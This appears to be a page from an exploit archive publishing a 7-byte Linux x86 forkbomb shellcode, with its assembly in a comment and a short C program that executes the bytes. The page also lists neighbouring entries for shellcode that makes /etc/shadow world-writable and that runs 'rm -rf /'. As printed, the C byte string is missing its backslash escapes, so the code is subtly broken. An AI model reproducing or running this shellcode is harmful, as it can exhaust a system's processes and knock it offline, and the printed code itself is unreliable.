[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 forkbomb 7 bytes
# Published : 2006-11-17
# Author : Kris Katterjohn
# Previous Title : linux/x86 chmod 0666 /etc/shadow 36 bytes
# Next Title : linux/x86 execve(rm -rf /) shellcode 45 bytes


/* By Kris Katterjohn 8/29/2006
 *
 * 7 byte shellcode for a forkbomb
 *
 *
 *
 * section .text
 *
 *      global _start
 *
 * _start:
 *      push byte 2
 *      pop eax
 *      int 0x80
 *      jmp short _start
 */

main()
{
       char shellcode[] = "x6ax02x58xcdx80xebxf9";

       (*(void (*)()) shellcode)();
}

// www.Syue.com [2006-11-17]